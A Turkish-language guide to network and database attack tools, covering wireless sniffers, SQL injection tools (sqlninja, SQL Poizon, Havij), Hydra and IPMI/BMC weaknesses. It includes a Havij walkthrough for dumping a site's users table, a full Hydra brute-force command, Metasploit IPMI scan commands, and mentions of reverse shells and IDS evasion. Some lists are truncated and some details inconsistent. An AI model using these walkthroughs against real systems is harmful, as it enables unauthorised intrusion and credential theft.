Windows için bir araçtır. WLAN ağlarını 802.11b, 802.11a ve 802.11g<br />

kullanarak saptar. Bir çok kullanım biçimi vardır:<br />

Ağınızın istediğiniz gibi kurulmuş olup olmadığını denetlersiniz.<br />

WLAN ağınızdaki zayıf noktaların bulunmasını sağlarsınız.<br />

Sizin ağınıza giriş yapan, sizin ağınızla çakışan diğer ağları<br />

saptarsınız.<br />

Yardım amaçlı yönlendirilmiş antenlerle uzak WLAN<br />

bağlantılarına erişirsiniz.<br />

Savaş sürdürmek için yeniden yaratıcı amaçla kullanın.<br />

Gereksinim<br />

NetStumber gereksinimleri daha çok donanıma bağımlıdır. İşletim<br />

sistemi, firmware ve sürücü sürümleri de buna eklenmelidir. En iyisi<br />

“Sisteminizde çalışıyor mu?” sorusunu deneyerek görmektir.<br />

Bazı sistemler denenmiş olduklarından çalışır diye bilinmektedir.<br />

Ayrıntılı bir liste http://www.stumbler.net/compat adresinde vardır.<br />

Bu NetStumbler Windows 2000, Windows XP ya da daha yenisini ister.<br />

Proxim model 8410-WD ve 8420-WD çalışır. 8410-WD aslında Dell<br />

TrueMobile 1150, Compaq WL110, Avaya Wireless 802.11b PC kartları<br />

olarak da satılmıştır.<br />

Intersil Prism/Prism2 chip takımı kullanan bir çok kart da çalışır.


Birçok 802.11b, 802.11a vee 802.11g kablosuz LAN adaptörleri<br />

Windows XP ile çalışmalıdır. Bazıları windows 2000'de de çalışabilir. Bir<br />

çoğu doğru olmayan sinyal gücü raporlar ve eğer kart erişim yöntemi<br />

olrak NDIS 5.1 kullanıyorlarsa , o zaman gürültü düzeyi raporlanmaz.<br />

Bunlar Atheros, Atmel, Broadcom, Cisco ve Centrino türü kartları içerir.<br />

Bir kartta hangi chip takımı olduğu saptanamaz (program tarafından).<br />

Ayrıntılar için http://www.stumbler.net/readme/readme_0_4_0.html adresine<br />

bakınız.


BÖLÜM 3<br />

SQL EKLEMEK İÇİN KULLANILAN PROGRAMLAR<br />

Veri tabanı “hack” işlemi veri tabanı üreticisinin ürününe göre değişir.<br />

http://www.databasesecurity.com/ adresinde çeşitli veri tabanları için bir çok<br />

yöntemin ve yazılımın olduğunu görürsünüz. Veri tabanı kullanımı güvenlik<br />

açısından çok da iyi bir yöntem değilmiş gibi görünmektedir.<br />

SQLNINJA<br />

Bu programın özellikleri şöyle sıralanabilir:<br />

Karşıdaki SQL sunucunun (sürümü, işlem yapan kullanıcı, kullanıcı yetkileri,<br />

xp komut satırı “xp_cmdshell” varlığı, veri tabanı yetki konumu) gibi<br />

bilgilerini almak,<br />

SA (Sistem Yöneticisi) şifresini bulmaya çalışmak (bir sözlükten yararlanarak<br />

aramak)<br />

xp komut satırını oluşturmak (xp_cmdshell eğer daha önce silinmişse)<br />

Normal HTTP isteği kullanarak (FTP/TFTP gerekmeden) sunucuya “netcat”<br />

yüklemek<br />

TCP/UDP kapı tarayıp (hedef SQL sunucudan saldıran <strong>bilgisayar</strong>a kadar)<br />

kullanılabilecek bir port (kapı) var mı aramak,<br />

Doğrudan ya da ters bağlantı var mı aramak (TCP ve UDP için)<br />

ICMP tünel kabuğu var mı bakmak. TCP ve UDP olmadan doğrudan ya da<br />

ters kabuk VT sunucusuyla dış adres çözümü yapabilir.<br />

DNS tünelli yalancı kabuk var mı bakmak. Doğrudan ya da ters kabuk için<br />

TCP/UDP port'ları (kapıları) vardır ama VT kullanıcı <strong>bilgisayar</strong>ını “ping”<br />

edilebilir.<br />

DNS tünelli yalancı kabuk var mı bakmak. Doğrudan ya da ters kabuk için<br />

hiç TCP/UDP portu (kapısı) yokken dış adresleri çözümlemektedir (bunun<br />

nasıl olduğunu görmek için dokümantasyona bakın).<br />

IDS/IPS/WAP vb. kaçırmak için kullanılabilecek bir teknik bulmak


Metasploit3 ile ilişki kurup uzaktaki VT erişiminde grafik arayüz ile VNC<br />

üzerinden sunucuya girebilmek.<br />

SQLninja programının kullanımı için Ek-2'ye bakınız.<br />

SQL POİZON<br />

Sql Poizon araçları php, aspi rfi, lfi hedeflerini içerir ve bunları kullanarak kırılabilir<br />

siteleri bulur. Aynı zamanda ülkeye göre kırılabilir siteleri de arayabilirsiniz. Sql<br />

Poizon araçlarıyla siteler incelenebilir. Ayrıntılı bilgi için<br />

http://www.hackforsecurity.net/2012/03/sql-poizon-sqli-exploit-scannertool.html#sthash.5Zl90rb6.dpuf<br />

sitesine bakabilirsiniz<br />

Programın Kullanımına Bir Örnek<br />

1. Programı çalıştırın:


2. Bu pencere açılınca, bir hedef seçilir. Bu örnekte “php drop” kullanılmıştır.<br />

İstenilen hedef seçildikten sonra “Scan” tuşuna basılır. Sonuçlar “Result”<br />

panosunda görüntülenir.<br />

3. Şimdi sonuçları “Sql Crawler”a göndermek istersiniz. Bunu yapmak için sonuç<br />

panosundakini farenin sağ tuşuna basıp “Send to Sql Crawler->All” seçimini<br />

yaparak gerçekleştirirsiniz.


4. O zaman “Sql Crawler” penceresi açılır ve burada yapacağınız tek şey “Crawl”<br />

tuşuna basmaktır. Program Web sitesinin gerçekten SQL eklemesine uygun olup<br />

olmadığı kontrol eder.<br />

5. Bundan sonra yapılacak şey “Export Results” seçeneğine basmak daha sonra<br />

açabileceğiniz bir yere bilgileri yedeklemektir.


HAVIJ 1.15 PRO SQL EKLEME<br />

Bu programın yeni sürümü Havij 1.17 Pro da çıkmış, google'dan aranıp kodları<br />

indirilebiliyor.<br />

Aşağıdaki doküman http://itsecteam.com/node/101/ sitesinden alınmıştır.<br />

Açıklama<br />

Yenilikler<br />

Havij otomatik SQL ekleme aracıdır. Amacı siteye sızma testleri yapanlara<br />

sitedeki SQL ekleme ve kırılma koşullarını göstermektir. Program kırılabilen<br />

bir web uygulamasından kendine faydalar sağlar. Bu yazılımla kullanıcı, arka<br />

planda veri tabanı parmak izi işlemlerini, Veri tabanı yönetim sistemi<br />

kullanıcı adlarını ve karıştırılmış şifrelerini, tabloları ve kolonlarını<br />

görüntülemeyi, veri tabanından bir veriyi aramayı, sunucu karşı Sql<br />

komutlarını çalıştırmayı, ve hatta dosya sistemine erişip, işletim sistemi<br />

kabuk programlarını çalıştırmayı bile yapabilir.<br />

Başka araçlarla karşılaştırıldığında Havij'in üstün gücü, ekleme konusundaki<br />

eşi bulunmaz yöntemleridir. Havij'in başarı oranı neredeyse %95 gibidir.<br />

Havij'in kullanıcı arayüzü ve otomatik ayar sistemi ve araştırıcı detektörleri<br />

amatörlerin bile kolaylıkla kullanılmasına olanak sağlar.<br />

- Her şey “dump” edilir (dökülür).<br />

- MySQL için parantezler kullanan yeni “bypass” yöntemi vardır<br />

- Dosyaya yazma olanağı (MSSQL ve MySQL için)<br />

- Girişlerden HTML yükleme<br />

- Veriyi CSV kalıbında saklamak<br />

- Gelişmiş atlatma ayarları<br />

- Log kayıtlarını açma/kapama<br />

- Olmayan ekleme değeri şimdi kullanıcı ile değiştirilebilir (varsayılan değer<br />

999999.9 olur)<br />

- Açıklama işareti ' kullanıcı tarafından değiştirilebilir.<br />

Özellikler (Bu özelliklerin bir kısmı yalnız paralı ticari sürümde bulunur).<br />

1. Ekleme Yöntemiyle desteklenen Veri Tabanları:<br />

MSSQL 2000/2005 hatalarıyla<br />

MSSQL 2000/2005 hatasız birleşme tabanlı<br />

MSSQL Blind (kör)<br />

MySQL Zaman tabanlı<br />

MySQL Birleşim tabanlı<br />

MySQL Blind (kör)<br />

MySQL hata tabanlı<br />

Oracle Birleşim Tabanlı


Oracle Hata tabanlı<br />

PostgreSQL Birleşim tabanlı<br />

MsAccess Birleşim tabanlı<br />

MsAccess Blind<br />

Sybase (ASE)<br />

Sybase (ASE) Blind<br />

2. HTTPS Desteği.<br />

3. Çoklu işlem (thread)<br />

4. Proxy Desteği<br />

5. Otomatik Veri Tabanı Sunucu Desteği<br />

6. Otomatik tip belirleme (tamsayı ya da dizi)<br />

7. Otomatik anahtar kelime belirleme (geçerli ve geçersiz yanıtlar arasındaki<br />

farkı bulma)<br />

8. Tüm parametrelerin otomatik aranması.<br />

9. Dil kuralları arasındaki farkları belirleme<br />

10. /**/,+,... gibi işartelerin IDS ya da filitrelerde takılmaması için seçenekler<br />

kullanılması<br />

11. Dizileri kullanırken atlanacaklar (sihirli tırnakları atlamak ve benzeri<br />

elemeleri atlamak)<br />

12. Ekle ekleme kurallarını desteklemek<br />

13 Sonuçlarıyla elle sorgu yapmak.<br />

14.Geçersiz birleşenleri atlamak<br />

15. Rastgele imza üretmek<br />

16. Tümüyle değiştirilebilen HTTP başlıkları (referer, user agent gibi)<br />

17. Cookies (çerezler) yüklemek<br />

18. Girişlerde HTML yüklemek<br />

19. HTTP Temel ve Sindirilmiş şifre kontrolü<br />

20. URL yeniden yazma sayfalarının eklenmesi<br />

21. ModSecurity atlatma web uygulaması kalkanı ve benzeri güvenlik<br />

kalkanları.<br />

22.WebKnight web uygulamasını kalkanını atlama ve benzeri güvenlik<br />

kalkanlarını geçme<br />

23. Anlık sonuçlar.<br />

24. MySQL (


36. Çoklu işlemle etkileşimli MD5 kırma<br />

37. Veri Tabanı Yönetim Sistemi bilgisini alma.<br />

38. Tabloları, kolonları ve verileri alma.<br />

39. MSSQL için komut çalıştırma<br />

40. MySQL için uzaktaki sistemin dosyalarını okuma<br />

41. (MySQL ve MSSQL için) Uzaktaki bir dosyayı yaratma içine yazma<br />

42. Veri ekleme/Güncelleme/Silme<br />

43.UTF ya da Unicode desteği<br />

ÖRNEK HAVIJ KULLANIMI<br />

1. Havij V1.15 Pro programını çalıştırın. Sonra istenen URL adresini girin. Program<br />

veri tabanını bulmaya çalışır. Veri tabanı bulunduktan sonra “Tables” seçeneğine<br />

basın ve tabloları görüntüleyin.


2. Programın bulduğu veri tabanını seçin (fareyle tıklayın). Tabloların listesi<br />

görüntüye gelir. Eğer bilgi şeması yoksa program tabloları kendisi tahmin etmeye<br />

çalışır. Programın çalışıp bitmesi sabırla beklenmelidir.


3. Bundan bittikten sonra istenilen tabloyu seç ve tıkla. Hacker çoğu kez “users”<br />

tablosuna bakar. Çünkü kullanıcılar ve onların yetkileriyle daha çok ilgilenir. Tablo<br />

seçildikten sonra “Get Columns” seçeneğine basılır.


4. Seçtiğimiz tablonun içeriğini görmek için tabloyu seçip “Get Data” düğmesine<br />

bastığımızda programın verilere erişmesini sabırla bekleyin.


BÖLÜM4<br />

SNIFFER (KOKLAYANLAR)<br />

Bu tür programlar ağdan geçen tüm mesajları incelerler. Program geliştirenler ağ<br />

katmanında mesajların doğru gidip gitmediğini görebilmek için bu yöntemi çok<br />

kullanırlar. Ama kötü niyetle kullanılınca, “Sniffer” türü programlar kullanıcının<br />

şifresini çözmek için çok kullanışlıdır.<br />

Neden herkes tüm mesajları görebilir diye soracak olursanız TCP/IP protokolu<br />

altında tüm mesajlar donanım katmanına kadar gelir (ethernet ya da Wifi olması<br />

fark etmez). Yazılım <strong>bilgisayar</strong>ın IP numarasına uyanları üst katmanlara taşınırken,<br />

diğerleri alt katmanlarda dikkate alınmaz, hatta daha önce 15 düğümden<br />

geçmişse kaybolmaması gerekenler yeniden ağa gönderilir (MBONE gibi). Sniffer<br />

programlar o mesajları da bu nedenle (IP'si uymasa da) diğer paketleri<br />

izleyebilirler.<br />

KISMET<br />

http://www.kismetwireless.net<br />

Wifi 802.11 ağ tarayıcısı, koklayıcısı ve içine sızan bir izleme sistemidir. Kismet<br />

ham veri iletişime olanak tanıyan tüm Wifi donanımıyla çalışır. Kismet 802.11b,<br />

802.11a, 802.11g ve 802.11n trafiğini koklayabilir ve izler.<br />

Kismet eklenebilir yazılım desteğiyle 802.11 dışındaki Wifi donanımlarını da<br />

izleyebilmektedir.<br />

Kismet pasif olarak paketleri toplar ve tanınmasına izin veren ağları tanır (verilen<br />

zaman içinde adlarını da belirler) Gizlenmiş ya da saklanmış ağları bile üzerindeki<br />

trafikten bulabilir.<br />

Kismet açık kaynak kod bir yazılım olduğundan doğrudan kaynaktan derlenerek<br />

kullanılabilir. Ama birçok Linux dağıtımında ikili kod zaten vardır. Onu yüklemek<br />

daha kolaydır. Kismet'i kaynak kod üzerinden derleyince, kurulumunda suid-root<br />

kullanmak, çalıştırırken root yetkisiyle başlatmak gerekmektedir. Bu nedenle<br />

sorunları çözülmüş hazır ikili kopya ile başlamakta yarar vardır.<br />

Unutulmasın ki KISMET windows ortamında Cace Aircap, pcap saklanmış<br />

dosyalarıyla çalışır ya da uzaktaki kismet drones çalışıyorsa ondan destek alır.<br />

Linux ortamında da pcap ve libnl desteğine gerek vardır.<br />

Kismet'in paketleri izleyip saklayabilmesi için “root” yetkisi gereklidir.<br />

“suid-root” kullanımı sınırlı KISMET olanakları demektir. Eğer Kiismet “root” olarak<br />

başlatılırsa çalıştığı sürece “root” olarak kalır.


Kaynağı yakalama<br />

Pek çok konumda sürücüyü otomatik tanımak ve kaynağı yakalamak için<br />

desteklenen kanalları bulmak, genelde bir ok kullanıcı için yeterli olabilir. Ama<br />

kaynağı yakalamak için daha pek çok seçenek vardır.<br />

Kismet paketleri 802.11 katmanında yakalar. Bunu yapabilmesi için ağ konumunu<br />

değiştirmesi gerekebilir ki normal ağ kullanımı bu anda kapanmış olur.<br />

Yakalanacak kaynaklar kismet kullanıcı arayüzü ile eklenebilir. Bunlar kismet.conf<br />

dosyasında da gösterilmiştir.<br />

Kismet ile ilgili diğer parametre ve seçenekler için Ek-3'e bakınız.<br />

WIRESHARK<br />

Wireshark GTK+ tabanlı ağ analiz programıdır (ya da sniffer) size ağ paketlerini<br />

yakalama ve etkileşimli olarak ağ altyapılarını tarama olanağı sağlar. Bu<br />

protokolün hedefi, profesyonel nitelikte analiz programı sunmaktır. Wireshark<br />

özellikleri kapalı kodu olan sniffer'lere karşın daha iyi sonuç üretmektir. Ürün hem<br />

Linux hem de Windows altıda iyi bir kullanıcı arayüzüyle çalışır. Kullanma ve<br />

yeniden TCP/IP paketleri üretme açısından elverişli bir üründür.<br />

Bu konudaki ayrıntılı kullanıcı dokümantasyonu için<br />

http://www.wireshark.org/download/docs/user-guide-a4.pdf<br />

adresine bakınız. Türkçe açıklama için Ek-6'ya bakınız.<br />

METASPLOIT<br />

Open Source Community ve Rapid7 iş birliğinden sızma denemesi yazılımı<br />

Metasploit çıkmıştır. Bu program kırılmaları bulur, güvenlik yönetimine yardımcı<br />

olur.<br />

Ayrıntılı bilgi için http://www.metasploit.com/ sayfasına bakınız.<br />

DİĞER HACKER ARAÇLARI<br />

Şifre Kırıcılar<br />

ICRACK<br />

Şifre kırma sözlüğü. Artan baskı uygular.<br />

Maceracı<br />

bobokit<br />

woot-project


Diğer Bağlantılar<br />

InfoSysSec.org: Nasıl hack edilir.<br />

http://www.infosyssec.org/infosyssec/security/hackhow1.htm<br />

Ağ işgali ve hacking<br />

http://www.networkintrusion.co.uk/hacking.htm<br />

hping<br />

http://www.hping.org/<br />

komut satırından TCP/IP paket inceleyicisi. TCP,UDP,ICMP ve RAW-IP<br />

(ham IP) protokollerini destekler. “traceroute” konumu da vardır. Kapalı<br />

bir kanaldan dosya gönderme olanağı da vardır.<br />

Hping2<br />

http://sourceforge.net/projects/hping2<br />

Birçok işi yapabilir (Güvenlik kalkanı kurallarını listelemek gibi), açık<br />

kapı aramak gibi


BÖLÜM 5<br />

KIRMA ARAÇLARI<br />

pdfcrack<br />

Daha önce pdf dosyalarından şifrenin nasıl kaldırılacağı yazılmıştı<br />

(http://www.cyberciti.biz/faq/removing-password-from-pdf-on-linux/).<br />

Linux ortamında komut satırından nasıl şifre kaldırılacağı bu sayfada anlatılır.<br />

Birçok açıdan (şifre unutma, şifrenin etkinliği vb) kullanılışlı bir işlemdir.<br />

Bu programı kullanmak suç mudur? Nerede yaşadığınıza baplıdır. Ama kendi<br />

pdf dosyalarınızda şifre düzeltmesi için kullanmanın yasal bir sakıncası<br />

yoktur.<br />

Komut satırı seçenekleriyle pdf dosyası şifresini kaldırma<br />

Kendi şifre korumalı dosyalarınızın şifresini unuttuysanız aşağıdakilerden<br />

birini kullanarak şifrenizi silebilirsiniz.<br />

1 – pdftk: PDF dosyalarıyla işlem yapmak için kullanışlı bir programdır.<br />

2 – qpdf: Bir pdf dosyasını eşdeğer başka bir pdf dosyasına çeviren<br />

programdır.<br />

3 – xpdf-utils: Portable Document Format (PDF) için kullanışlı hazır<br />

programlardan oluşur (pdftops ve ps2pdf gibi)<br />

4 – Print to a file: Evince yazılımını doğrudan kullanabilirsiniz.<br />

Hydra<br />

HTTP şifresini kırma<br />

Video izleme bağlantısı: http://g0tmi1k.blip.tv/file/2318952<br />

Video indirme bağlantısı: http://www.mediafire.com/?yhc1adzytiqibjc<br />

Uzaktan basit şifreleri çözmek için sözlük kullanır. Gerekenler hydra ve<br />

sözlüktür.<br />

Komut satırı:<br />

hydra -l admin -P /pentest/passwords/wordlists/g0tmi1k.lst -e ns -t<br />

15 -f -s -vV 192.168.1.1 http-get /<br />

-l = kullanıcı adı<br />

-P = şifre (sözcük listesine bakar)<br />

-e ns = boş şifreye bakar<br />

-t xx = ynı anda kaç iş çalıştırılacaktır<br />

-f = ilk kullanıcı/şifre bulunduğunda çık<br />

-s = SSL kullanarak bağlan


-vV = tum açıklamaları göster<br />

193.168.1.1 = IP adresi<br />

http-get = hangi kırma yöntemi gibi bilgiler<br />

/ = kırılacak sayfa (root)


BÖLÜM6<br />

ÖNEMLİ BİR GÜVENLİK SORUNU IPMI/BMC<br />

IPMI<br />

IPMI ile ilgili yazılımları neden buraya aldığım herkesin dikkatini çekebilir ve<br />

neden sorusunu sormalarını sağlayabilir. Eğer aşağıdaki araçların nasıl ve ne<br />

amaçla kullanıldığını görürseniz, IPMI yazılımlarının önemli bir güvenlik sorunu<br />

oluşturduğunu hemen anlarsınız. Yetkisiz bir kişi IPMI komutları ve araçlarıyla<br />

sisteminizin çalışma biçimini değiştirebilir hatta işlemez hale bile getirebilir.<br />

KAPANMIŞ SUNUCULARI BİLE HACK EDEBİLİRSİNİZ<br />

URL adresi: https://isc.sans.edu/diary/IPMI<br />

%3A+Hacking+servers+that+are+turned+%22off%22/13399<br />

Yayınlandığı Tarih: 2012-06-07<br />

Yayınlayan: Johannes Ullrich<br />

Sunucu tarlasını yönetirken sorgulardan biri asılı kalmış ya da kilitlenmiş<br />

sunucuları nasıl ele alacağınızdır. Çünkü bu sunucuların işletim sistemleri artık<br />

yanıt veremez durumdadır. Klasik çözüm kuşkusuz seri konsol karışımı belki de IP<br />

üzerinden KVM olabilir. Ayrıca uzaktan denetlenebilen güç kaynağı anahtarlarıdır.<br />

Bu tür donanımlar çok da pahalı değildir. Değerli “rack” alanı işgal eder ve elektrik<br />

gücü ister ve bir çok (hem de çok) kablo gerekir.<br />

Olayları kolaylaştırmak için, Intel “IPMI” ile ortaya çıktı (Intellegent Platform<br />

Management Interface). Sunucularda bulunur. Bazı masaüstü <strong>bilgisayar</strong>larda<br />

değişik sürümleri vardır. IPMI yeni değildir. Burada anlatılacak saldırı da yeni<br />

değildir. Burada açıklama yapılmasının nedeni birçok sistem yöneticisinin IPMI<br />

konusunda bilgi sahibi olmadığıdır.<br />

Yıllar içinde gelişen ve işlevleri artan IPMI sürümlerinde yenilikler anakart<br />

üreticisine ve kullanılan firmware ile doğrudan orantılıdır. Ama bazı özellikler<br />

hemen her uyarlamada vardır örneğin:<br />

IPMI sunucu elektriğe takılınca etkindir. Sunucunun açılmasını beklemez.<br />

Ana kart üzerinde özel bir devre olarak uyarlanmıştır. Bazen takılabilir kart<br />

olarak da görürsünüz. CPU, RAM ve diğer parçalara gerek duymaz.<br />

Var olan ağ kartını kullanır ve ayrıca bir ağ kartına gerek yoktur.<br />

Eğer işletim sisteminiz IPMI destekliyorsa sunucudaki özel yazılımları kullanarak<br />

ona bağlanabilirsiniz ve onu sunucudaki bazı sensörleri okumak için


kullanabilirsiniz. “openipmi” ya da “freeipmi” araçlarını kontrol edin yoksa birini<br />

kurun.<br />

Yerel olarak IPMI kullanışlıdır ama asıl gücü uzaktan kullanıldığında anlaşılır. IPMI<br />

1.0 sürümü seri kapı üzerinden kullanılırdı. Özellikle uzaktaki elektrik gücüne<br />

sistem gibi görünürdü. Bunu LAN üzerinden uyandırma hizmetine<br />

benzetebilirsiniz. Ama seri kapı üzerinden elektrik gücü kesme yeteneğinin de<br />

olması o kadar basit değildir. Bunun en büyük yararı uzaktan elektrik gücünü<br />

kontrol eden sistemlere gerek olmamasıdır. Sürüm 1.5'de IPMI mesajlarını IP<br />

üzerinden göndermek de olabiliyordu. Sürüm 2.0'da bıçak ağzı sunuculara, vLan<br />

ve modern ağlarda bulunan diğer ortak özelliklere rastlanır.<br />

Bugünün sunucularında IPMI uyarlaması olunca, bir web sunucunun uzaktan<br />

kontrol edilmesini, firmware yenileme gibi özellikleri kullanabilirsiniz. Seri arayüz<br />

gerekmeden de yapılabilir durumdadır. Seri bağlantının bant çıktı karakter sayısını<br />

güvenlik nedeniyle sayarız. Ama IPMI işlemlerini güvenli yapabilmenin bazı<br />

adımları vardır. Aşağıda örnekler sıralanmıştır:<br />

Yönetilen bir ağ ayarı yapın ve yönetim ağına bağlı kalan ağ kartı ile IPMI işlemini<br />

sınırlayın.<br />

BIOS ayar seçeneklerini IPMI için görüntüleyin. Eğer fiziksel yönetim ağınız<br />

yoksa VLAN kullanmaya çalışın.<br />

IPMI firmware bilgisini güncel tutun. Ana kart firmware ile beraber olabilir.<br />

IPMI erişiminin güvensiz protokollerden (HTTP gibi) yapılması engellenir. Ya<br />

SSH kullanın ya da HTTPS ve uygun sertifikalarla iletişim yapın.<br />

Varsayılan şifreleri sakın kullanmayın.<br />

IPMI şifrelemesini var olan sistem şifrelemesine bağlamaya çalışın. RADIUS<br />

ve AD seçenekleri kullanılabilir.<br />

IPMI uyarlamasının desteklediği fiziksel seçenekleri gözden geçirin. Bazı IP<br />

adreslerinden erişimi sınırlayabilirsiniz. Ya da kullanmayacağınız özellikleri<br />

kapatın.


Sunucu Yönetim Sistemindeki Hacker delikleri Neredeyse<br />

fiziksel erişime kucak açar<br />

(Hacker Holes in Server Management System Allow ‘Almost-<br />

Physical’ Access)<br />

Yazan: Kim Zetter 07.02.13 9:30 AM<br />

URL Adres: http://www.wired.com/threatlevel/2013/07/ipmi/<br />

Buraya yazının ana hatlarını aktardım. Ayrıntılı bilgi için web adresine<br />

başvurabilirsiniz.<br />

Sunucuları uzaktan denetlemek ve yönetmek için kullanılan protokollerin<br />

kırılganlığı, sistemlerin saldırılara uğramasına yetkisiz kişilerin kontrolüne<br />

geçmesine neden olur. Bu durumda olan İnternet'e bağlı 100,000 den fazla sunucu<br />

vardır.<br />

Kırılganlık daha çok IPMI protokolünde görülür. Bu protokol BMC tarafından<br />

kullanılır. Sunucuların uzaktan izlenmesinde ısılarının denetlenmesinde, çalışıp<br />

çalışmadıklarının belirlenmesinde ve diğer işlevlerde kullanılır.<br />

Güvenlik delikleri saldırganların şifreleri öğrenmelerine, arka kapı oluşturmalarına<br />

neden olabilir.<br />

Metasploit Framework sızma denemelerinde 100,000'den çok sunucuda güvenlik<br />

sorunu saptanmıştır.<br />

IPMI değişik üreticilerin ürün ve cihazlarının aynı protokol ile uzaktan kontrol<br />

edilmesi için hazırlanmıştır. Sunucuları uzaktan denetlemek için BMC sanal tuş<br />

takımı, fare ve çıkarılabilir ortam sağlar.<br />

IPMI gediklerini kullanan bir saldırgan, sunucuyu kendi denetimine alabilir.<br />

Kısacası BMC'deki herhangi bir zayıflık, saldırganın sunucuda fiziksel erişime<br />

ulaşmış gibi davranmasına neden olabilir. Devletler ve Modern Firmalar IPMI<br />

denetime dayanarak sunucularını çalıştırmak zorundadırlar.<br />

Bazı BMC'lerde Evrensel Tak Çalıştır (UPnP) varsayılan olarak açıktır. Bu konuda<br />

Moore http://www.wired.com/threatlevel/2013/01/plug-n-play-security-flaws/ web<br />

sayfasında oluşan hataları anlatmıştır.<br />

BMC IP adresi ile sunucununki farklı olduğundan saldırgan BMC'yi ele geçirse bile<br />

sistem yöneticisi olayı takip edemez.<br />

Bir çok insan sistemlerinde IPMI açık olduğunu bilmez. Moore'un Metasploit<br />

Framework içine eklediği IPMI modülüyle “IPMI var mı?” taranarak bulunabilir.


IPMI ve BMC'lere Sızma Denemeleri El Kitabı<br />

(A Penetration Tester's Guide to IPMI and BMC's)<br />

Yazan: Metasploit'den HD Moore 2 Tem, 2013 12:22:49 PM<br />

URL Adresi:<br />

https://community.rapid7.com/community/metasploit/blog/2013/07/02/apenetration-testers-guide-to-ipmi<br />

Burada yazılanları Türkçeye çevirmeye çalıştım. Her şeyin önemli olduğunu<br />

düşünüyorum.<br />

GİRİŞ<br />

Dan Farmer çığır açan güvenlik araçları ve işlemleriyle bilinir. Bir yılın<br />

üzerinde bir süredir Dan Farmer IPMI ve BMC güvenliği üzerine ciddi tanımlar<br />

yapmıştır. Bu yazı Dan Farmer'ın sözünü ettiği sorunlara nasıl ulaşılacağını<br />

gösterir. Eğer aradığınız hızlı bir çözümse,<br />

https://community.rapid7.com/docs/DOC-2344 adresinde sıkça sorulan<br />

sorulara bir bakın. Ayrıca Dan Farmer'ın ortaya koyduğu mükemmel belgeyi<br />

http://fish2.com/ipmi/bp.pdf adresinden okuyun.<br />

BMC ve IPMI Protokolü<br />

Baseboard Management Controller (BMC), masaüstü ve sunucularda bant<br />

dışı izlemeyi sağlaması için kullanılan bir <strong>bilgisayar</strong>dır. Bir çok marka altında<br />

satılırlar. HP iLO, Dell DRAC, Sun ILOM, Fujitsu iRMC, IBM IMM, and<br />

Supermicro da bunların arasındadır. IPMI ve BMC'ler çoğunlukla gömülü ARM<br />

sistemleri olarak uyarlanırlar. Üzerlerinde Linux yüklüdür. Sunucunun ana<br />

kartında doğrudan dışarıya bağlı çalışır. Ağ erişimini, ağ erişim kartına “yan<br />

bant” (sideband) ile bağlanarak sağlanabileceği gibi kendine özgü arayüzü<br />

ile de yapılabilir. Ana karta gömülü modellerin yanı sıra ayrıca PCI kartı<br />

takılabilir modül olarak da satılır. Neredeyse tüm sunucular ve iş istasyonları<br />

BMC kurulu olarak gönderilir. IPMI iletişim protokolünü yerel “bus” (iletişim<br />

yolu) üzerinden ya da ağ üzerinden tanımlayan bir dizi özellikler toplamıdır.<br />

Bu özellikler Intel tarafından belirlenmiştir ve şu anda iki sürüm olarak (1.5<br />

ve 2.0) piyasada vardır. Dan Farmer'ın ana hedefi UDP ve 623 kapısını<br />

kullanan IPMI ağ erişim protokolü üzerinedir. Bunun çizgisel görünümü<br />

aşağıda gösterilmiştir.


Yüksek Değerdeki Hedefler<br />

BMC'ler güvenlik denetçileri tarafından saygıyla karşılanır ve gözden kaçırılır.<br />

Bir çok benzer gömülü cihazlar gibi denemelere yavaş yanıt verirler. Bazı<br />

web tabanlı yönetimlere ek olarak standart dışı arayüzleri varır. BMC ve<br />

yazıcı arasındaki fark erişimi sağladıktan sonra anlaşılır. BMC'nin sunucu<br />

sisteminin ana kartına doğrudan erişimi vardır. Bu özellik izleme, yeniden<br />

başlatma (reboot) ve hatta yeniden işletim sistemi yükleme (reinstall)<br />

olanağını da beraberinde getirir. Bir çok sistemde etkileşimli KVM erişimi<br />

sanal ortam üzerinden sağlanabilmektedir. Aslında BMC'ye erişim sunucuya<br />

fiziksel olarak erişim demektir. Eğer saldırgan yalnız BMC'ye erişmeyip<br />

“root” yetkisini de elde etmişse Ana sistemin i2c'sine ve Super I/O (Super<br />

Giriş/Çıkış) yongasına (chip) doğrudan erişim hakkını ele geçirir. Bu da<br />

sunucu yönetimi için hoş bir haber değildir.<br />

Ağ Hizmetleri<br />

BMC'nin ana markaları tarafından sunulan servisleri üretici firmaya göre çok<br />

değişiklik gösterir. Burada bazı benzerlikler belirtilmiştir. BMC'lerin çoğunda<br />

bir çeşit Web tabanlı yönetim vardır. Telnet ya da Güvenli kabuk (SSH gibi)<br />

ve IPMI ağ protokolü (UDP ve bazen TCP ile 623 nolu kapıdan) diğer erişim<br />

biçimleridir. Aşağıdaki örnekler Supermicro BMC'nin varsayılan<br />

yapılandırması üzerindeki “Nmap -sSV -p1-65535” taramasının sonuçlarıdır.


Supermicro IPMI (firmware SMT_X9_218)<br />

PORT/KAPI DURUM SERVIS SÜRÜM<br />

22/tcp open ssh Dropbear sshd 2012.55 (protocol 2.0)<br />

80/tcp open http lighttpd<br />

443/tcp open ssl/http lighttpd<br />

623/tcp open ipmi-rmcp SuperMicro IPMI RMCP<br />

5900/tcp open vnc VNC (protocol 3.8)<br />

5985/tcp open wsman?<br />

49152/tcp open upnp Intel UPnP reference SDK 1.3.1<br />

(Linux 2.6.17.WB_WPCM450.1.3;<br />

UPnP 1.0)<br />

Yukarıda listelenen TCP kapılarına ek olarak bu cihaz da UDP 623 (IPMI) ve<br />

1900 (Upnp SSDP) kapıları da yanıt verir.<br />

Ağ Keşfi<br />

UDP IPMI servisine 623 kapısından tek paket sorgusu ağ üzerindeki BMC<br />

belirlemek için en hızlı yöntemdir. Aşağıdaki örnekte Metasploit Framework<br />

ipmi_version modülü yerel BMC'yi yakalamak için kullanılır. Yanıt desteğin<br />

1.5 mi yoksa 2.0 mı olduğunu belirtir.<br />

$ msfconsole<br />

=[ metasploit v4.7.0-dev [core:4.7 api:1.0]<br />

+ -- --=[ 1119 exploits - 638 auxiliary - 179 post<br />

+ -- --=[ 309 payloads - 30 encoders - 8 nops<br />

msf> use auxiliary/scanner/ipmi/ipmi_version<br />

msf auxiliary(ipmi_version) > set RHOSTS 10.0.0.0/24<br />

msf auxiliary(ipmi_version) > run<br />

[*] Sending IPMI requests to 10.0.0.0->10.0.0.255 (256 hosts)<br />

[*] 10.0.0.7:623 IPMI-2.0 OEMID:21317 UserAuth(auth_msg, auth_user,<br />

